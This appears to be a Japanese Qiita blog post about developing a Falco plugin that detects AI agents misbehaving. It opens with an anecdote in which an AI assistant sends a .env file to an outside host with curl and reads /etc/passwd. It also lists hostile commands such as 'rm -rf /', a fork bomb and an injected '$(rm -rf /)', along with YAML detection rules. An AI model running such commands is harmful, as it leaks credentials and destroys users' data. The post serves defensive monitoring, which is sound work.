3
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

AIエージェントの暴走を検知せよ — Falco OpenClaw Plugin 開発記

3
Last updated at Posted at 2026-03-02

AIエージェントの暴走を検知せよ — Falco OpenClaw Plugin 開発記

それは静かに始まった

ある日の午後、AIアシスタントにコードのリファクタリングを依頼した。いつも通りの作業だ。AIは黙々とファイルを編集し、テストを実行し、不要なファイルを整理していく。

ふと、AIが実行したコマンドの履歴を見返して背筋が凍った。

bash: rm -rf ./tmp/cache
bash: curl -X POST https://external-api.example.com -d @./config/.env
bash: cat /etc/passwd | head -5

1行目は問題ない。キャッシュの掃除だ。しかし2行目は? .env ファイル——APIキーやデータベースの認証情報が入ったファイルを、外部サーバーに送信しようとしている。3行目に至っては、システムのパスワードファイルを読み取っている。

幸いこれはテスト環境での出来事で、実害はなかった。しかし重要な問いが残った。

もし本番環境で同じことが起きたら、あなたはリアルタイムで気づけますか?

おそらく、気づけない。ログを後から確認して「あの時すでに…」と青ざめることになる。

私はこの問題を解決するために、Falco OpenClaw Plugin を開発した。AIエージェントの操作をリアルタイムで監視し、危険な行動を即座に検知するシステムだ。

前回の記事では、v0.1.0のリリースまでの「始まり」を書いた。「守るって、何を守ることなんだ?」という問いから、7つの脅威カテゴリの定義、そして最初のリリースまで。

今回はその続きの物語だ。v0.1.0の後に何が起きたか。56のテストパターンとの格闘、macOSでの動作実現、そして開発中に出会った4つの「罠」について書く。


AIの操作を「監視カメラ」に映す

なぜFalcoなのか

Falcoの選定理由は前回の記事で詳しく書いた。ここでは要点だけ振り返る。

Falco はCNCFのプロジェクトで、ランタイムセキュリティの「番人」だ。ビルの監視カメラに例えるとわかりやすい。カメラ(イベントソース)が映像を撮り、不審者検知AI(ルールエンジン)が分析し、警備室(Slack / SIEM)に通報する。

Falcoにはプラグインシステムがある。監視カメラを追加設置するように、カスタムのイベントソースを接続できる。AIエージェントのログを「カメラ」としてFalcoに接続すれば、既存のセキュリティ基盤がそのまま使える。

車輪を再発明する理由はなかった。

プラグインの機能一覧やクイックスタートガイドは falcoya.dev/openclaw を参照してほしい。


まず敵を知る — 7つの脅威カテゴリ

v0.1.0で7つの脅威カテゴリを定義した経緯は前回に書いた。「全部防ぎたくなるだろ。でも、まず分類しろ」——あの時の言葉が出発点だった。

ここでは、v0.2.0のE2Eテストを通じて深まったカテゴリの理解を共有したい。

threat-categories-diagram.png

空港のセキュリティチェックに似ている

この7カテゴリを直感的に理解するために、空港のセキュリティチェックに例えてみよう。

1. DangerousCommand — 手荷物から爆発物が見つかった
rm -rf / やフォーク爆弾のような、システムを破壊するコマンド。見つけた瞬間にアラートを鳴らす。

2. DataExfiltration — 機密書類を国外に持ち出そうとしている
curl/etc/passwd.env を外部に送信する行為。転送手段×機密データの組み合わせで検知する。

3. WorkspaceEscape — 制限区域に侵入しようとしている
/proc//etc/shadow../../ のような、許可された作業領域の外へのアクセス。

4. ShellInjection — 正規の荷物の中に危険物を隠している
これは特に巧妙な攻撃だ。ファイル読み取りツール(read)の引数に $(rm -rf /) を忍ばせる。ツール自体は安全でも、引数がシェルで解釈されれば破壊的なコマンドが実行される。

5. SuspiciousConfig — セキュリティゲートを無効化しようとしている
disable_authbypassno_verify といった設定変更。守りを内側から崩す行為。

6. UnauthorizedModel — 身分証明書を偽造している
AIモデルを許可なく切り替える行為。意図しないモデルが使われることで、予測不能な動作が生じる。

7. AgentRunaway — パニックを起こして暴走している
無限ループ、リトライ上限超過、スタックオーバーフロー。AIエージェント自体の制御不能状態。

漏れなく、ダブりなく

この7カテゴリは「何を」「どこで」「いつ」の3軸で網羅的にカバーしている。

カバー範囲
何を コマンド / データ / ファイルアクセス / 設定 / モデル / 実行制御
どこで シェルツール / 非シェルツール / 設定ファイル / ランタイム
いつ コマンド実行時 / データ転送時 / 設定変更時 / ループ検出時

MECE(漏れなく、ダブりなく)の考え方で設計した。カテゴリ間に隙間があれば、攻撃者はそこを突いてくる。


ログからアラートまで — 9ステップの旅

AIエージェントがツールを実行してから、セキュリティアラートが鳴るまで。データは9つのステップを旅する。

dataflow-diagram.png

大まかな流れはシンプルだ。

AIがコマンドを実行 → ログファイルに記録 → プラグインが検知・解析 → Falcoがルール評価 → アラート

しかし、このパイプラインの裏側にはいくつかの設計判断がある。

2層に分けた理由

プラグインはPlugin層Parser層に分離している。

architecture-diagram.png

なぜ分けるのか? 実用的な理由がある。

Falco Plugin SDKはC言語のバインディングを含むため、ビルドが重い。もしログ解析ロジックがPlugin層に組み込まれていたら、パーサーの小さな修正のたびにフルビルドが走る。Parser層を分離したことで、脅威検出ロジックのテストは5秒で完了する。

もう一つの利点は、Parser層がFalcoに依存しないため、将来的に別のセキュリティツールに組み込むこともできる点だ。

ルールはYAMLで書ける

Falco側の検知ルールはYAMLで宣言的に記述する。

- rule: OpenClaw Dangerous Command Detected
  condition: >
    openclaw.tool in ("bash", "shell", "exec")
    and (openclaw.args icontains "rm -rf"
         or openclaw.args icontains "chmod 777"
         or openclaw.args icontains ":(){ :|:&};:")
  output: >
    Dangerous command detected (tool=%openclaw.tool args=%openclaw.args)
  priority: CRITICAL
  source: openclaw

セキュリティポリシーの変更がYAMLファイルの編集だけで済む。 コードのリビルドは不要。これがFalcoを選んだ最大の理由だった。


正規表現を使わないと決めた日

この決断は、実はfalco-plugin-nginxの開発で学んだことの延長線上にある。Nginxプラグインでも正規表現を使わない方針を貫いてきた。OpenClawではその判断がさらに重要になった。

正規表現を一切使わない。

セキュリティツールのパターンマッチングに正規表現を使うのは自然な発想だ。しかし正規表現には暗い一面がある。

ReDoS(Regular Expression Denial of Service) という攻撃手法をご存知だろうか。巧妙に構成された入力文字列が、正規表現エンジンのバックトラッキングを指数的に爆発させ、CPU使用率100%で処理を停止させる。

セキュリティ検知ツール自体がDoS攻撃の対象になる。これほど皮肉なことはない。

本プラグインでは、すべての脅威検出を**strings.Contains(文字列の部分一致検索)だけ**で実現した。入力長に対して常に線形時間で動作する。さらに入力サイズを10KBで切断することで、処理時間の上限を保証している。

「正規表現なしで本当に十分な検出ができるのか?」

結果がその答えだ。56のテストパターンに対して検出率100%、偽陽性0%。シンプルなアプローチでも、問題を正しく定義すれば十分な精度が出る。


56パターンへの挑戦

テストピラミッド

テストは3層のピラミッドで設計した。

test-architecture-diagram.png

レベル 何を検証するか Falco必要? 所要時間
Level 1 脅威検出ロジック単体 不要 ~5秒
Level 2 プラグインのパイプライン全体 不要 ~30秒
Level 3 実際のFalcoとの統合 必要 ~2分

下層ほど高速で頻繁に回し、上層で実環境との整合性を担保する。

テストパターンの内訳

56パターンは4つのグループに分かれる。

  • 攻撃パターン(29件) — 7カテゴリそれぞれの典型的な攻撃
  • 正常パターン(10件) — 偽陽性テスト。rm コマンドが全て危険なわけではない
  • エッジケース(9件) — 空入力、巨大入力、境界値
  • 複合・平文(8件) — 複数カテゴリにまたがるケースと平文ログ

特に重要なのは正常パターン10件だ。rm ./node_modules を「危険なコマンド」と誤検知するようでは、実用に耐えない。何を検知しないかは、何を検知するかと同じくらい重要だ。

結果

  検出率:     100%  (29/29 攻撃パターン)
  偽陽性率:     0%  (0/10 正常パターン)
  合計:      56/56  PASS

開発中に出会った4つの罠

開発は順調ではなかった。ここからは、特に印象的だった4つの「罠」を共有したい。同じ道を歩く人の助けになれば幸いだ。

罠1: 沈黙するFalco

macOS上でFalcoを起動した。プラグインは正常にロードされている。テスト用のログを注入した。ルールは正しいはずだ。

しかし、アラートが一切表示されない。

ログを確認しても、エラーは出ていない。プラグインはイベントを正しく生成している。Falcoはそれを受け取っているはずだ。しかし画面には何も表示されない。

3時間のデバッグの末、原因にたどり着いた。stdout出力のバッファリングだ。

Falcoはデフォルトで出力をバッファリングする。カーネルのsyscall監視では毎秒大量のイベントが流れるため、バッファはすぐに埋まる。しかしプラグインイベントは低頻度だ。バッファが一杯にならず、出力がフラッシュされない。

解決策は -U(unbuffered)フラグを追加すること。たった2文字で、すべてのアラートが表示されるようになった。

# 沈黙(バッファが溜まるまで何も出ない)
falco -c falco-local.yaml --disable-source syscall

# 解決(-U を追加)
falco -c falco-local.yaml --disable-source syscall -U

「なぜ動かないのか」ではなく「なぜ出力されないのか」が正しい問いだった。動いてはいた。ただ、見えなかっただけだ。

罠2: 1つしか鳴らないアラーム

curl /etc/passwd というコマンドを考えてみてほしい。

これは「データ窃取」(curl + 機密ファイル)であると同時に「ワークスペース逸脱」(/etc/ へのアクセス)でもある。2つのルールに同時にマッチするはずだ。

しかしFalcoは1つのイベントに対して1つのルールしか発火しない。ルールファイル内の定義順序で、最初にマッチしたものだけが選ばれる。

最初はバグだと思った。しかしこれはFalco 0.43.0の仕様だった。

この制約により、ルールの記述順序が重要になる。より深刻な脅威を先に定義し、CRITICALなルールがWARNINGに飲み込まれないようにした。テストでも「主たる期待ルール」のみを検証する方針に切り替えた。

罠3: パーサーが見逃しても、Falcoが拾う

脅威検出エンジンは入力を10KBで切断する。巨大な入力によるパフォーマンス問題を防ぐためだ。

しかし、Falcoに渡す openclaw.args フィールドはフルサイズのデータを保持している。

つまりこういうことが起きる。10,241バイトの悪意あるコマンドがあったとして:

  • Parser層: 10,240Bに切断 → 危険なパターンが切断後に消失 → 検出なし
  • Falcoルール: フルサイズをスキャン → パターン発見 → アラート発火

最初はバグだと思った。Parser層で検出しなかったものが、Falcoで検出される。整合性が取れていない。

しかし、よく考えるとこれは多層防御として機能している。2つの層が独立して検出を行い、互いのカバレッジを補完する。片方が見逃しても、もう片方が拾う。

バグではなく、むしろ望ましい設計だった。

罠4: macOSでFalcoを動かすということ

FalcoはLinuxのツールだ。公式バイナリはLinux用しか存在しない。

しかし開発はmacOS(Apple Silicon)で行いたい。ソースからビルドすることでmacOS ARM64での動作に成功したが、独特な制約がいくつもあった。

  • syscallドライバが存在しない → --disable-source syscall フラグが必須
  • 出力バッファリング問題 → -U フラグが必須(罠1で発見)
  • outputs設定セクション → スキーマエラーになるため丸ごと削除
  • プラグインの拡張子 → .so ではなく .dylib

これらの知見をmacOS用の設定ファイル(falco-local.yaml)として集約した。同じ罠に二度はまる必要はない。


振り返りと展望

何を実現したか

成果 詳細
脅威の体系化 AIエージェント固有のリスクを7カテゴリに分類
リアルタイム検知 YAMLルールでセキュリティポリシーを定義可能
堅牢な検出 正規表現ゼロ、ReDoS攻撃の心配なし
高い検出精度 56パターン100%検出、偽陽性0%
マルチプラットフォーム Linux / macOS ARM64 / Docker

これからの課題

プラグインは動く。検出精度も出ている。しかし、これはスタートラインに過ぎない。

falco-plugin-nginx はv1.7.0まで来た。625パターンのE2Eテスト、Phase 10まで積み重ねた検証の歴史がある。OpenClawにはまだそれがない。56パターンは始まりに過ぎず、実戦で使われた実績もこれからだ。

AIエージェントの進化は速い。新しい能力が追加されるたびに、新しい脅威が生まれる。URLエンコードされたインジェクション攻撃(%0a 等)への対応、パフォーマンスの検証、そして何よりコミュニティからのフィードバックが必要だ。

一人の開発者が想像できる攻撃パターンには限界がある。

最後に

このプロジェクトを通じて実感したのは、AIに対する**「信頼」と「検証」のバランス**の重要性だ。

AIエージェントは強力なツールだ。私たちの生産性を大きく高めてくれる。しかし、強力であるがゆえに、その操作を監視し、異常を即座に検知する仕組みが必要だ。

あなたのAIアシスタントは今日、何回シェルコマンドを実行しただろうか? そのすべてを、あなたは把握しているだろうか?

「信頼するが、検証せよ」 — AIエージェントに対しても、この原則は変わらない。


関連リンク:

本記事は falco-plugin-openclaw v0.2.0 の開発記録です(Go / Apache-2.0 / Falco Plugin SDK v0.8.1)。

3
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?